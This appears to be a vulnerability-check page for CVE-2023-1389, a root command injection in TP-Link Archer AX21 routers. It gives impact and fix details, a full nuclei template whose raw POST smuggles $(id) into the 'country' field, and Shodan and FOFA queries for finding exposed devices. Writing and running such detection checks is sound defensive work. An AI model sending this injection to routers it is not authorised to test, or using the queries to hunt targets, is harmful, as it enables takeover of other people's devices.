TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection

Exploited in the wild. Listed by CISA on 2023-05-01; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

TP-Link Archer AX21 (AX1800) routers are vulnerable to unauthenticated OS command injection via the country parameter in the locale endpoint. This allows remote attackers to execute arbitrary commands as root.

Impact

Unauthenticated attackers can exploit OS command injection through the country parameter in the locale endpoint to execute arbitrary commands as root and completely compromise TP-Link Archer AX21 routers.

Fix

Update to the latest firmware version provided by TP-Link.

How to confirm it

Send: POST /cgi-bin/luci/;stok=/locale?form=country
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-1389 -u <target>

The full check

id: CVE-2023-1389

info:
  name: TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    TP-Link Archer AX21 (AX1800) routers are vulnerable to unauthenticated OS command injection via the country parameter in the locale endpoint. This allows remote attackers to execute arbitrary commands as root.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the country parameter in the locale endpoint to execute arbitrary commands as root and completely compromise TP-Link Archer AX21 routers.
  remediation: |
    Update to the latest firmware version provided by TP-Link.
  reference:
    - https://www.tenable.com/security/research/tra-2023-11
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1389
    - https://github.com/tenable/poc-cve-2023-1389
  classification:
    cve-id: CVE-2023-1389
    cwe-id: CWE-78
    epss-score: 0.99999
    epss-percentile: 0.99992
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    max-request: 1
    vendor: tp-link
    product: archer-ax21
    fofa-query: body="tp-link"
    shodan-query: 'title:"TP-Link Router"'
    verified: true
  tags: cve,cve2023,tp-link,archer,ax21,rce,router,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=write&country=$(id)

      - |
        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=write&country=$(id)

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from